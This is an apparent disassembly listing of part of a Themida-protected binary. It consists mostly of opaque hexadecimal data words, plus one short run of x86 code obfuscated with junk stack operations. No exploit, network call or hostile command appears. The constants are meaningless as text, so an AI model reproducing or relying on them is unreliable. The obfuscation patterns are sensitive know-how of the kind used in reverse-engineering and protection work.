word_59913A	dw 8D8Dh		; DATA XREF: Themida_:0053E2D8o
		dd 64DC4D8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	0D6C35242h, 3927B27h, 481DDD9Dh, 198D8906h, 0E906480Ah
		dd 0Dh,	0CE496010h, 36C81FD2h, 71C47955h, 3585C749h, 6006480Fh
		dd 6A00005Ch, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 9AA9C352h, 0AD858B60h,	5206480Fh
		dd 24AD9D29h, 61590648h, 242585C7h, 648h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0F681B0C3h, 47646BEFh, 15698589h, 0B5FF0648h, 64829E1h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0FDC35646h
		dd 0CEB1289Eh, 0E64FB2CAh, 2B098D89h, 0BD8B0648h, 6482B65h
		dd 20BD95FFh, 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 0DE8BEDC3h, 95FF006Ah, 6483061h
		dd 4AEBC08Bh, 91851442h, 0F8E9E4EDh, 3F97FD85h,	3265AB2Bh
		dd 0B08EDF22h, 41ACABA4h, 0A14C98D7h, 2F5AACCh,	0F787BF85h
		dd 0FAFD6642h, 0F22DF9DDh, 249CB630h, 0A84B5B4h, 0E810B0DAh
		dd 11DA75EDh, 9B8E58AAh, 6716CFE4h, 0F8F7DDC0h,	13E8C513h
		dd 75000000h, 54F2C95Dh, 0A53FD16Ch, 4B10A967h,	0F8E15977h
		dd 8509B9CDh, 648245Dh,	0F1BD295Bh, 81064814h, 72BFC3h
		dd 698D0300h, 68064820h, 1C79h,	193D9589h, 95E0648h, 48185D85h
		dd 0E9038B06h, 13h, 0C135BD32h,	9D2AADCFh, 7251EB30h, 0E0D3B71Dh
		dd 815D3EC5h, 0E98B00C0h, 66535666h, 5F03BFBAh,	0C8C0815Ah
		dd 0E976AAF1h, 0Ah, 0B396D52Ah,	88D87BE5h, 0F081E4DEh
		dd 4276A031h, 0E1C16EB9h, 66038930h, 21B7E181h,	7E33EB81h
		dd 0E98143C3h, 28D0D596h, 7E2FC381h, 83F943C3h,	850F01EEh
		dd 1Bh,	9558529h, 2BE90648h, 0F9000000h, 9FF66CA3h, 7F04421Dh
		dd 0F0EAE857h, 0B385A2Bh, 48243D8Dh, 0FF6FE906h, 935FFFFFh
		dd 204F1C50h, 0E24A9477h, 0BF144C7Dh, 0ABE9345Ch, 50000000h
		dd 1C3F2E8Dh, 0DA5F72B1h, 95A7ACABh, 0F44592B3h, 0B395A1h
		dd 0A7ECABDAh, 0B2915D20h, 96B1F46Bh, 55207520h, 0F26BB79Bh
		dd 9692A5BCh, 3A7594A1h, 9FB79960h, 0B599BD32h,	0A59CB2E9h
		dd 0ACA3F292h, 0B1EF7695h, 0F94E0097h, 9FA5B4h,	0F07B6B5Ch
		dd 8A924Ah, 45F352D0h, 0A3F653F5h, 44D6D979h, 45E3AFF1h
		dd 0D77D41F4h, 9792B000h, 0FD756BBFh, 96BFCF60h, 0B293BCF9h
		dd 57207D20h, 92ABF79Bh, 0B29EBD94h, 0CE9DBCE3h, 8F899BE0h
		dd 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h, 0B3ED7293h, 1E80097h
		dd 3D94E7A6h, 0BE958332h, 0CEE9094Ah, 68000012h, 64DC8CBh
		dd 0FAB692E9h, 0C9EF68FFh, 88E9064Dh, 68FFFAB6h, 64DCADCh
		dd 0FAB67EE9h, 0CC0568FFh, 74E9064Dh, 68FFFAB6h, 64DCC98h
		dd 0FAB66AE9h, 0CD4168FFh, 60E9064Dh, 68FFFAB6h, 64DCDD6h
		dd 0FAB656E9h, 0CE9A68FFh, 4CE9064Dh, 68FFFAB6h, 64DCF2Fh
		dd 0FAB642E9h, 0D06968FFh, 38E9064Dh, 68FFFAB6h, 64DD14Ch
		dd 0FAB62EE9h, 0D29368FFh, 24E9064Dh, 68FFFAB6h, 64DD3E5h
		dd 0FAB61AE9h, 0D5E068FFh, 10E9064Dh, 68FFFAB6h, 64DD6F7h
		dd 0FAB606E9h, 0ED392BFFh, 0EF3B1243h, 0F03C1445h, 0F33F1748h
		dd 0F33F1849h, 6FF4DA49h, 53042C78h, 590A327Eh,	5DFE3682h
		dd 9BFF3985h, 7A0B7B4Fh, 0CA295614h, 4D99B5A6h,	99A36FD2h
		dd 3F1D6981h, 0B35F4F1Bh, 32CD4FC6h, 19455FE8h,	0C6B36155h
		dd 24E084Fh, 0B31A052Ch, 0B4DDB19Dh, 4E0451DDh,	61E35A02h
		dd 82511D4Bh, 0BC498F30h, 0C8C2CA55h, 9F560F71h, 74C098C1h
		dd 0E75DB89Ah, 5B39CFDCh, 36A7h, 0E95B3F00h, 825975D3h
		dd 0EC498E9Eh, 9BB89D43h, 2D9C629Eh, 58D22DA5h,	0F4E758FEh
		dd 0F2E381A8h, 0C57A94E0h, 0F07B3A7h, 477EB456h, 3969CED1h
		dd 0F9B55Bh, 81490000h,	75221D69h, 67150E5Ah, 0B3077753h
		dd 0A254FC6h, 0EF3B2F30h, 7D516D51h, 4FC6B309h,	0F668042Bh
		dd 364FC6B2h, 120D5911h, 33CD62Fh, 0A327E54h, 0C6B12D6Eh
		dd 0E488994Fh, 7AADE2BCh, 9BA4F0E3h, 82D35FC6h,	0C7D884D0h
		dd 84D7D3D9h, 0A6AA84D8h, 9691DDF5h, 0FD6B81C3h, 8F14DAF1h
		dd 4FED1449h, 1C277366h, 0E65E945h, 7C924C2Eh, 18F11864h
		dd 5516202Ch, 4BE64FD4h, 49E0411Dh, 102F479Bh, 29226E65h
		dd 104DE940h, 9FAD0957h, 18761AABh, 0FD263126h,	0EE178217h
		dd 0EC626E52h, 404FC983h, 600155E1h, 2C7A7187h,	39479049h
		dd 57D0396Eh, 31FB1BF2h, 7CCCBF2Eh, 100642B3h, 0A6B60000h
		dd 0A4C1E25Ah, 0A9BFE058h, 0ACA2F35Dh, 0B0A7F860h, 656DEC64h
		dd 81BB07E0h, 93BD09E0h, 8BC511C2h, 64CC18CAh, 2E202C70h
		dd 0FE56147Bh, 6681DBE7h, 6981221Ah, 8649331Dh,	11AC131Dh
		dd 0B47E547Eh, 0FCE0BB7Dh, 0C7B17EF0h, 553AE4Fh, 4FC7B191h
		dd 0B7A57CA3h, 8F9D60B3h, 0D5738E49h, 8571E5E9h, 5CC3560Fh
		dd 0A39CE8FBh, 0C1CB74BEh, 560F85C9h, 0D29EC29Eh, 560F85DCh
		dd 0F365B150h, 0E8059A10h, 0ED7E5B39h, 18000000h, 3F1D6981h
		dd 2EF94516h, 247068DBh, 2E07350Ah, 0CD34EF3Bh,	0F2B776Ah
		dd 0EF4D994Eh, 0B38FFFCBh, 829D4FC6h, 85BE0AE1h, 9FAD929Ch
		dd 4FC6B1E4h, 0E54F9B4Fh, 0CF889EB4h, 361C883h,	0C6B677E7h
		dd 0B35AB54Fh, 78B3CC78h, 2862763Fh, 9BE70162h,	0DA5DB990h
		dd 0DAF6526Ah, 498EC4C1h, 0E54C042Bh, 2747853h,	32560EB5h
		dd 0F90A36CFh, 7675DA77h, 0C09C76A3h, 0D4CFD1ACh, 0C4A07F4Fh
		dd 0C870BC93h, 0B8AAC097h, 0B5B3A3A7h, 9E814FC8h, 9A909E87h
		dd 0DFCCBFC9h, 0EE2A194h, 0C2920000h, 0C09DBE76h, 0C59BBC74h
		dd 0C89EBF79h, 0CC83D47Ch, 8149D880h, 9D97E3FCh, 9F99E5FCh
		dd 0B7A1EDFEh, 0B0A8F4E6h, 7AEC002Ch, 0BA56147Ch, 6681171Bh
		dd 6981221Ah, 0E451E61Bh, 0E1FCAEC6h, 9B956C95h, 0B602D6FFh
		dd 0A4A8946Dh, 4FC757B2h, 0A9939F82h, 221D6981h, 27115D75h
		dd 0D166276h, 6367786Ah, 4FC6B2F3h, 2E7EDC41h, 8FF68F7Ch
		dd 0C00CC576h, 0DD8BA287h, 0F79ED01h, 54BB4FC7h, 2E9396BAh
		dd 0F8647CBCh, 8EF22BF4h, 27B65949h, 94FF3229h,	23390BBEh
		dd 2B401945h, 0D81753DFh, 163B50DDh, 15EE3A31h,	2E506852h
		dd 4CD72EF3h, 3F1D3305h, 1792552Bh, 461C3D41h, 3ED831FAh
		dd 431745ECh, 96635317h, 2ED14188h, 88962C22h, 0E11F0041h
		dd 9369DFD9h, 0EE76C069h, 8FC915CDh, 42D01CCEh,	3D7C7446h
		dd 0F5E55823h, 0A500000Dh, 0A8F963AFh, 0A6F761ADh, 0ADEE66B2h
		dd 0AAEB65B1h, 70EF69B5h, 9EEAE56Ah, 0A0ECE5B6h, 0A8F4E7B8h
		dd 0AFFBEFB0h, 1CD1185h, 56147D8Dh, 81FA449Fh, 0DE3F1D69h
		dd 3779F17Bh, 4509373Fh, 4FC6C751h, 4DF23CE3h, 401C3404h
		dd 8EBD972Ch, 82BA5549h, 0D57389BBh, 0D6A91AF9h, 2428144Fh
		dd 4FC6D732h, 3D061F02h, 0C6D73B2Fh, 0CF062C4Fh, 0F1394659h
		dd 413D54h, 5BD10000h, 4975D3E9h, 0E32F7B70h, 8EF9B787h
		dd 2E1AF549h, 0E5312912h, 0B570C49h, 15617C5Dh,	73DB370Ah
		dd 0EFE4537h, 0FE4A2056h, 475D7962h, 2009428Eh,	4FEB3E09h
		dd 39855607h, 0D3E0FEEh, 5BC30000h, 5975D3E9h, 498B7450h
		dd 0F4E5839Eh, 0F9AA92DEh, 0C915CBE1h, 0D480AB7Eh, 0F7BD279h
		dd 0C099927Bh, 64796680h, 4D431777h, 25FC4793h,	1E3725FCh
		dd 2D35014Dh, 0D8853921h
		dd 300CF34Fh, 243D5307h, 3A304FD8h, 35CC35EEh, 1F3364CCh
		dd 29004C09h, 0D3E95B1Eh, 75965975h, 74D8498Fh,	0FADE658h
		dd 42EB4656h, 0F5302AF4h, 59BC67CAh, 0CCCh, 341C687Ch
		dd 361E6A63h, 351F6B65h, 361E6A64h, 361E6A65h, 451A9F27h
		dd 4B1E3FF9h, 4F0455FFh, 52085903h, 264A4E06h, 147F544Ah
		dd 0B1FDD856h, 0C6B31C96h, 71D1F4Fh, 1A668059h,	57E32F29h
		dd 47CE2F0Bh, 5D8845DDh, 0E4C6AE88h, 92498C6Ah,	0E6ACA2AEh
		dd 0A1805613h, 0D06C9395h, 0B9A7F3E7h, 0B07BC7A0h, 0C899BD59h
		dd 94E2FC12h, 0CDD44AD6h, 0CD34CDC8h, 253DFF52h, 4BB4D9B6h
		dd 86E24BC0h, 0DC3C516Ah, 96749B4Fh, 0CCB843FEh, 398D70BBh
		dd 0E900000Ch, 0ECADA7F3h, 0EAABA5F1h, 0F1B2AAF6h, 0EEAFA9F5h
		dd 9483ADF9h, 62AEA92Eh, 64B0A9FAh, 6CB8ABECh, 73BF93C4h
		dd 0C589D5C9h, 56147FD1h, 813E8063h, 75221D69h,	0E16115Dh
		dd 64BD2DE8h, 6595DF97h, 1A1F6376h, 0C393C31Dh,	0F18ED06Ah
		dd 9254F1D0h, 669h, 965A862Ch, 4FC6B320h, 0E21ED14h, 162A162Eh
		dd 0C6B3443Ah, 4147E84Fh, 17E03F4Ch, 75ED49E0h,	8BAFC659h
		dd 5B092849h, 7F52687Ah, 29226E69h, 1840E940h, 0FC479347h
		dd 14AFFA70h, 0E9FF4156h, 0A65C6F7Bh, 6F924FDCh, 0B82D839Fh
		dd 987DA6CCh, 0B90h, 78E02C40h,	7AE22E27h, 79E32F29h, 7AE22E28h
		dd 7AE22E29h, 895EE3EBh, 8F42133Dh, 93481943h, 964C0D47h
		dd 628E124Ah, 1480188Eh, 75B91C56h, 221D6981h, 16115D75h
		dd 0B72DE80Eh, 54F1122Ch, 5D057h, 1F40D00h, 254FFF06h
		dd 9679C34Fh, 4FC6B31Ch, 233D1D1Fh, 2E122ED7h, 0CBDECDD5h
		dd 2D093B09h, 8B8CF245h, 7FDD4449h, 388456h, 43F8B5Fh
		dd 362B0B2Dh, 492543EAh, 4FDC87B2h, 7CC885B6h, 4ED45EC3h
		dd 0EDD63B3h, 8FD8CCB8h, 0AFBAEh, 6DB9AB00h, 6FBB92C3h
		dd 70BC94C5h, 73BF97C8h, 73BF98C9h, 0EF745AC9h,	0D384ACF8h
		dd 0D98AB2FEh, 0DD7EB602h, 1B7FB905h, 808BFBCFh, 4AA95614h
		dd 1D698108h, 115D7522h, 0CEF20E16h, 0C6B38C02h, 0B0BCA04Fh
		dd 4FC6B3BEh, 0C97A936Eh, 0E278C20Eh, 1212AD23h, 0BAA654F1h
		dd 0C6ABC0B6h, 0AC3744Fh, 5ACB67BEh, 519h, 9E95BF4h, 3F1D0450h
		dd 3E60021Bh, 568A565Eh, 7B70E6EAh, 5DC44FC7h, 3D5B99D1h
		dd 6E91498Ch, 12CDEED2h, 68DE5DC6h, 0E870EDCh, 337F5304h
		dd 36825809h, 75664FEDh, 0F8E6FE29h, 0D911D9E4h, 0F43D353Dh
dword_599BF0	dd 3EFE5613h, 9D363A26h, 4F4FDBEAh, 91D062B0h, 0A6D1CCB8h
					; DATA XREF: Themida_:0053FC74o
		dd 0A37B7h, 0A9F5E700h,	0ABF7EEAFh, 0ACF8F0B1h,	0AFFBD384h
		dd 0AFFBD485h, 0AB309685h, 0AFF068B4h, 95C66EBAh, 99CA72BEh
		dd 0D7BB75C1h, 81C7B793h, 8E655614h, 1D698144h,	115D7522h
		dd 2DE80E16h, 0F1122CB7h, 4775754h, 96EF0000h, 4FC6B321h
		dd 5E0A2222h, 0B2F86E82h, 0D53C4FC6h, 17236F62h, 74E27F4Bh
		dd 31D0498Bh, 0E4302213h, 0EB372B6Ch, 4C271960h, 1C27736Bh
		dd 79372745h, 1AF55614h, 67E02C29h, 313D2B02h, 4FDC72F2h
		dd 3725052Ch, 2CCB813h,	9A2C439h, 82520000h, 805DFE36h
		dd 855BFC34h, 885EFF39h, 8C43143Ch, 0C1091840h,	5DD7233Ch
		dd 5FD9253Ch, 77E12D3Eh, 70E83426h, 3A2C406Ch, 0FA561482h
		dd 6981D7DBh, 5D75221Dh, 0FB449047h, 7D61FF26h,	0C6B2FD71h
		dd 236F644Fh, 15FB240Bh, 0A13C1375h, 0FC4DF23Ch, 0E8FA6FA6h
		dd 0DDE2B49Ch, 0A654F1C7h, 133h, 1D698140h, 5F4F1B3Fh
		dd 0CD4FC6B3h, 0B2ED616Dh, 0E03F4FC6h, 0F4401649h, 6072251Ah
		dd 0E3551C14h, 6A4B6FCDh, 0EF32C78h, 921B6804h,	0AE51498Eh
		dd 0D363D775h, 0CE04560Eh, 31FE81F7h, 69BA5B39h, 0BCD365D5h
		dd 3263BCE4h, 91093017h, 33002D09h, 0B4000000h,	0B37FCB83h
		dd 79558689h, 0EE4EE12Dh, 2196AD6h, 0F44C0083h,	0D69AC24Ch
		dd 498EFD7Dh, 0BDD750AFh, 560F25C5h, 0DB51B4A2h, 5B3987C8h
		dd 8CBBh, 69815300h, 4F1B3F1Dh,	4FC6B35Fh, 5FE832CDh, 50DB2740h
		dd 34EF3B2Fh, 59034F03h, 0C69A2E1Dh, 0D11D354Fh, 18301067h
		dd 4AC3202Ch, 9679498Ch, 0C6D96AAh, 1D540AC3h, 4DE4AB54h
		dd 223022E2h, 44904718h, 48944B0Ch, 0F7E864EAh,	0BEA35CAh
		dd 868h, 40F84418h, 42FA461Fh, 41FB4721h, 42FA4620h, 42FA4621h
		dd 6176FBE3h, 677A1B15h, 6B80211Bh, 6E64351Fh, 7AA63A22h
		dd 14830076h, 8D913456h, 221A6681h, 331D6981h, 1D698149h
		dd 0F33F163Fh, 69811E27h, 0A220331Dh, 0FC000002h, 98E4F7E0h
		dd 0A89EBA8Fh, 8C4FC6B3h, 5BB389A5h, 5975D3E9h,	498EAC62h
		dd 7AC69BCCh, 86FC9893h, 0E1560ED1h, 0B115A2FBh, 11C21113h
		dd 0FA705305h, 5B39A6E5h, 21D9Eh, 55863800h, 0DF42F7Bh
		dd 0B2F86901h, 0F3454FC6h, 1AF33F13h, 483E122Eh, 0EC4FC6B3h
		dd 5D71E945h, 498B74C2h, 0B2F0DF4h, 14794F3Fh, 2142DD56h
		dd 2A32FC48h, 230D5911h, 28146072h, 15CCBD7h, 0AD719AE6h
		dd 0DC61AD05h, 0AF8DA395h, 0DBFA609Bh, 0A3738E4Fh, 0CCB898B5h
		dd 8556C770h, 35000007h, 3869D31Fh, 3667D11Dh, 3D5ED622h
		dd 3A5BD521h, 5FD925h, 2E7A55DAh, 307C5506h, 38845708h
		dd 3F8B5F00h, 915D8115h, 5614841Dh, 816AB40Fh, 75221D69h
		dd 6916115Dh, 7D1A2571h, 160A1561h, 9B7A25E0h, 0EF108043h
		dd 447B6C7Dh, 6DEA44AEh, 5E0C2775h, 0DCBD70Ah, 0EB3E0955h
		dd 2F71EB42h, 54F19C94h, 155EFh, 69818700h, 5D75221Dh
		dd 4E023311h, 59203802h, 4773D1E7h, 0C2F7B6Eh, 44300A56h
		dd 498E9277h, 0D3E16AC5h, 560ED3DFh, 0F56BAA88h, 5B3931EAh
		dd 0A4F0EDCEh, 0C7539FB3h, 2F66h, 0E95B0000h, 8A4475D3h
		dd 401C053Eh, 0C6B33A2Ch, 0FB17FA4Fh, 9EB88B5Fh, 1BF6498Eh
		dd 0DF0E8410h, 7959560Eh, 419F249Ah, 0C1E45B39h, 7A000000h
		dd 221D6981h, 150E5A75h, 1B247062h, 9650667Ch, 128014Ah
		dd 0E1401B57h, 0F284FC6h, 67150E5Ah, 0C704F363h, 47DE414Fh
		dd 2C786AEBh, 0F50B2D04h, 73477347h, 0C704E757h, 8EEA454Fh
		dd 4FC70518h, 5119F51Ch, 498C71F2h, 96E2FB6Ch, 0EF4DB48Dh
		dd 8BC511C6h, 76C715CAh, 0A99DB141h, 8B5610C4h,	0BD3E7BA4h
		dd 0F747E73Eh, 0C2CAF75Dh, 63E8479h, 0FEEE0000h, 0FCD98AB2h
		dd 1D788B0h, 4DA7BB5h, 8DF80B8h, 3D8594BCh, 0E9539FB8h
		dd 0DB55A1B8h, 0F35DA9BAh, 0EC64B0A2h, 0B6A8C4E8h, 76561485h
		dd 6681535Fh, 0B3057955h, 8274FC6h, 4A6B3721h, 71EE4894h
		dd 0F2646879h, 424FC6B2h, 340E46DFh, 701B6981h,	0EED46EB7h
		dd 0EE0F2DD4h, 0E5083D0Ah, 0F449E522h, 19438F43h, 5806h
		dd 0E601DA00h, 87B8919Ah, 67BA85D1h, 558671CBh,	10F9327Eh
		dd 24EE3A2Fh, 75D31F33h, 0B3118549h, 0FC234FC6h, 786A0D32h
		dd 0D32C102Ch, 0B04D6A4Fh, 0B2A4B0F1h, 824FC714h, 5EAA939Fh
		dd 1A92F112h, 0B1737690h, 0C792A99Dh, 7DA48B4Fh, 0EF649FB1h
		dd 9285AFFBh, 2Fh, 1D698130h, 0B3118A22h, 9A504FC6h, 0A980CC84h
		dd 9BE7019Eh, 0AA69C190h, 0F9DC0AFFh, 25657889h, 541A5463h
		dd 9BA4F0E3h, 0F7EB6CC6h, 81D7B1ABh, 4F221D69h,	6569D7EDh
		dd 498B745Ch, 0D987AAh,	0E5B69EEAh, 0D3A6A1EDh,	8AD69171h
		dd 80CC9EC1h, 62CB62C7h, 3B80EA06h, 65CC4FD9h, 0F60CDEF7h
		dd 0BB8E99E5h, 0A1B9EA52h, 0B587CA55h, 0BC9DC19Fh, 0C5B995A6h
		dd 674FC6B3h, 83E661C8h, 0A07CBBB7h, 57BA498Eh,	0F5E66DB7h
		dd 3E1F48CAh, 4ECh, 0D47CC89Ch,	0D67ECA83h, 0D57FCB85h
		dd 0D67ECA84h, 0D67ECA85h, 0E5FA7F47h, 0EBFE9F99h, 0EFE4B59Fh
		dd 0F2E8B9A3h, 62AAEA6h, 148674EAh, 111DB856h, 3F1D6981h
		dd 0F7ABF9DEh, 3501AA01h, 1C6A8021h, 0CE60A962h, 0EC37CE92h
		dd 6781974Bh, 0B54C9851h, 88FED26Ah, 0AC4FC773h, 0D7859C85h
		dd 9EBCEC6h, 0C71A5145h, 0E33CE34Fh, 5FBB9DBBh,	0D0338BE6h
		dd 1C39875Bh, 3BDD1A30h, 18F13D13h, 41E83427h, 2C3A4517h
		dd 464954F1h, 0DD000000h, 75D3E95Bh, 8EF98559h,	1C48E749h
		dd 0EDA283Bh, 89E60C42h, 0A340CE4h, 0B74EDC4Eh,	0D2CAE64Eh
		dd 8F560F29h, 0F9A58FDBh, 72BC08E0h, 11DDEEE5h,	560F299Dh
		dd 0AB99708Fh, 928DD98Ah, 7BDA63AFh, 41Ch, 1D698117h, 475D7522h
		dd 2009428Eh, 58E84F09h, 30135F76h, 2543EA36h, 0B3413539h
		dd 0CF34FC6h, 4DE9352Bh, 926A3915h, 5DC4498Eh, 0D3D0CAE2h
		dd 0A997560Eh, 0ED4DB258h, 0EB86DE1h, 0C760BF56h, 55E1B3E1h
		dd 354AC003h, 4E5B39B0h, 38h, 7A5586E8h, 20CF52Eh, 1E320D2Fh
		dd 4FC6B328h, 60FC250Ch, 39CA3B3Fh, 29059005h, 61C61D31h
		dd 928498Fh, 0A23C363Eh, 0B2B560Fh, 44D52C8h, 0F1365B3Ah
		dd 0D0000000h, 221D6981h, 150E5A75h, 1B247062h,	7955667Ch
		dd 4FC6B305h, 37210827h, 0C6B1407Bh, 9EAFA34Fh,	0C6B6DCD2h
		dd 58B1504Fh, 5FABBFE0h, 0E7FCDD01h, 9BB9909Bh,	4FC6B6ABh
		dd 0B38CA689h, 9AC6DE5Eh, 8EB6BDD6h, 0DB90A949h, 829D838Fh
		dd 0CBE163DAh, 0D19DC19Dh, 560EB6DDh, 0E66B04Fh, 4FD40627h
		dd 7D5E0A25h, 360B1460h, 805780DCh, 0A8F9AA32h,	33240724h
		dd 0ED54CF1Bh, 28142814h, 0C8FF3224h, 511F024Fh, 4FC8FF5Dh
		dd 72E630CFh, 49253631h, 4FC8FF55h, 41D138D7h, 0CCBF87F5h
		dd 0F18A6BB4h, 0A1000002h, 84D57FCBh, 82D37DC9h, 89DA82CEh
		dd 86D781CDh, 4CCB85D1h, 9AE60186h, 9CE801A2h, 0A4F0E3B4h
		dd 0ABF7EBACh, 0ED012DB1h, 56148879h, 811618BBh, 4AE21866h
		dd 282228E0h, 5D726301h, 0E40E804Ch, 31E4FC6h, 1748102Ah
		dd 33DF743h, 75D3E95Bh,	8E9E8259h, 7143EC49h, 0A7816F3Ch
		dd 159FA881h, 560F5E9Dh, 0B329ECCAh, 5B39C130h,	0A5BBAF88h
		dd 7EE35CA8h, 97C59CA7h, 0F52E3D3h, 64AE5156h, 0E6C3h
		dd 8A607900h, 31C053Eh,	0B4426844h, 0E45AB400h,	221D6981h
		dd 320E5A75h, 5E8D60D1h
		dd 67B34CB3h, 0B815D6DEh, 667C4FC6h, 6981221Ah,	40163F1Dh
		dd 3CD62BF4h, 0F60E2E03h, 764A764Ah, 0C6B7E45Ah, 8BE9484Fh
		dd 4FC6B81Bh, 68776A16h, 261D26h, 0C65D1521h, 62498EE8h
		dd 23146079h, 366E12Dh,	260EF137h, 69D7ED4Fh, 0D455E165h
		dd 50EC134Fh, 0A7C506Ch, 2A4FC94Eh, 352A2B07h, 47004C1Fh
		dd 50114BE2h, 0B5EB4B97h, 0CCBF50h, 1DAC637h, 0DA8A0000h
		dd 0D8F5A68Eh, 0DDF3A48Ch, 0E0F6A791h, 0E4FB9C94h, 19C1A098h
		dd 0C56FBB94h, 0C771BD94h, 0BF79C596h, 0D880CC9Eh, 0E2D498C4h
		dd 52561489h, 55862F73h, 77E8327Eh, 18B21260h, 256425B0h
		dd 28452AFAh, 98718071h, 0A4C853ACh, 6D2D6DC6h,	0F6ECADA1h
		dd 81D8B2AAh, 75221D69h, 233115Dh, 213B0450h, 0C6B3594Dh
		dd 0CD34DB4Fh, 964C0D41h, 19421E4Ah, 0D336F13Dh, 0C6B31185h
		dd 60FC234Fh, 0C6B31A8Ch, 1BF71A4Fh, 0D7ED4F22h, 99F26569h
		dd 0DB44498Eh, 169BD59Dh, 34EF1689h, 32A75EF4h,	155CD420h
		dd 1B2F0D23h, 4FD75D10h, 570843DEh, 30093783h, 861EA36h
		dd 0E137192Eh, 9FB58722h, 7D9EADC1h, 0E750498Fh, 0E07CA5F1h
		dd 9A0CE0FCh, 9A560F7Dh, 7D65D977h, 0ED01560Fh,	560F7D79h
		dd 53AE54BBh, 1CCE8FC7h, 332857D0h, 7A2879E7h, 512F7880h
		dd 2E5AE32Fh, 52087D58h, 55E74E06h, 5A4D213Fh, 0DC4FD69Ch
		dd 954DEA35h, 3C52FE49h, 0E6FE3ED9h, 0C301767Ah, 0CC33498Eh
		dd 152B0D64h, 76A62327h, 0AD8E4FD3h, 599465B3h,	66306692h
		dd 919D84BFh, 64B0A68Fh, 9FB69FBDh, 0D5CCC28Eh,	0C1604FCBh
		dd 0B08ADF68h, 0FDD1ED97h, 4FCBD589h, 0ADAA84ABh, 0DAFB69B5h
		dd 9A6FB804h, 0B08CD880h, 0CBD5AA9Ch, 5BA7BF4Fh, 95C24CB3h
		dd 9EB671BDh, 40C6F896h, 5ACF065Ch, 37203C88h, 2758D31Fh
		dd 168E32Fh, 194A0E28h,	0DA94F341h, 87F38792h, 0BF99C29Eh
		dd 0E760ACA9h, 0C9A0AB82h, 12DFCF9Bh, 0B24D5EC9h, 94C5DF68h
		dd 0B2A36FBBh, 99D7509Ch, 0D78B00C3h, 6C95D18Bh, 25C8F5Eh
		dd 3D313D05h, 0EF5EC901h, 401DF910h, 0F065DE2Ah, 0Ch, 90C453ACh
		dd 4C3E4CC2h, 17637CC2h, 241F6B81h, 18135F73h, 1F287467h
		dd 221D6980h, 150E5A75h, 26216D62h, 16115D79h, 28236F69h
		dd 19125E77h
		db 74h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		push	esi
		push	1984693Eh
		pop	esi
		shl	esi, 5
		or	esi, 68E83D24h
		add	esi, 8D608772h
		push	esi
		add	dword ptr [esp], 7F3F4619h
		pop	ecx
		sub	ecx, 7F3F4619h
		pop	esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	7B8Ch
		mov	[esp], ecx
		pop	dword ptr [esi+8]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_544ACB
; ---------------------------------------------------------------------------
		db 5Ah
		dd 24B68820h, 0BD530936h, 45FCA02Ch, 0D8F6B8E0h, 0C503064Dh
		dd 36BE0FFh, 1C864377h,	0C0729D3h, 0F81614F9h, 6E81263h
		dd 4C000000h, 0DD10AB98h, 0C981BFC7h, 665A6A15h, 8110DDB9h
		dd 6047C2h, 0F3B8F500h,	8B000017h, 0F32FFDAh, 58Ah, 8AB6BB00h
		dd 815E1733h, 8716D1C6h, 48B5605Ch, 5A616056h, 0BDF68161h
		dd 0F27D7B1h, 0C681FFBFh, 15BF82D2h, 0AFC78053h, 11E9565Bh
		dd 11000000h, 0CBC83AA4h, 0D2562B9Ch, 0FC5F3EB7h, 6B0B5B9Ah
		dd 8060028Fh, 8B66EDEDh, 0EA8361D6h, 0E881F504h, 1, 0FF9F850Fh
		dd 8D8DFFFFh, 64DDB29h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 37C35040h, 937CE7DBh,	9C6A85BFh, 0FE8h
		dd 0AECF6C00h, 92FEBAACh, 51CD8048h, 0CC0C065Ch, 2B95BD89h
		dd 89580648h, 480A198Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0DD6DA388h, 85334442h
		dd 6481A11h, 0CDFBBDBFh, 0C7C38A66h, 480F3585h,	5FB006h
		dd 0F18B6600h, 242585C7h, 648h,	6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 204663C3h
		dd 5840Fh, 66510000h, 8B5AC78Bh, 0D28166D6h, 0B5FFFD93h
		dd 6481BEDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	36C35545h, 0BD89F683h, 64818A1h, 1D11958Bh, 95FF0648h
		dd 64820BDh, 0FF006AF5h, 48306195h, 0EBC08B06h,	0C23F381Fh
		dd 8DD63F2Ch, 11B1553Eh, 2BBC37B7h, 0D45FE636h,	2251BB75h
		dd 592C64BCh, 61843AB8h, 28B108EBh, 6372h, 5E90240h, 6800000Ch
		dd 64DDD07h, 0FB6BCFE9h, 0DE1268FFh, 0C5E9064Dh, 68FFFB6Bh
		dd 64DDF8Eh, 0FB6BBBE9h, 0E05C68FFh, 0B1E9064Dh, 68FFFB6Bh
		dd 64DE141h, 0FB6BA7E9h, 0E2FA68FFh, 9DE9064Dh,	68FFFB6Bh
		dd 64DE3A8h, 0FB6B93E9h, 0E4CC68FFh, 89E9064Dh,	68FFFB6Bh
		dd 64DE5C7h, 0FB6B7FE9h, 3A4F6CFFh, 0A9E8F709h,	3F526A76h
		dd 0A5E4F404h, 11805EDAh, 0BFC404Eh, 93A5DEB3h,	0FF014247h
		dd 6474AFDAh, 0FA073859h, 0DCA6EA79h, 416E9AB8h, 9805AC6h
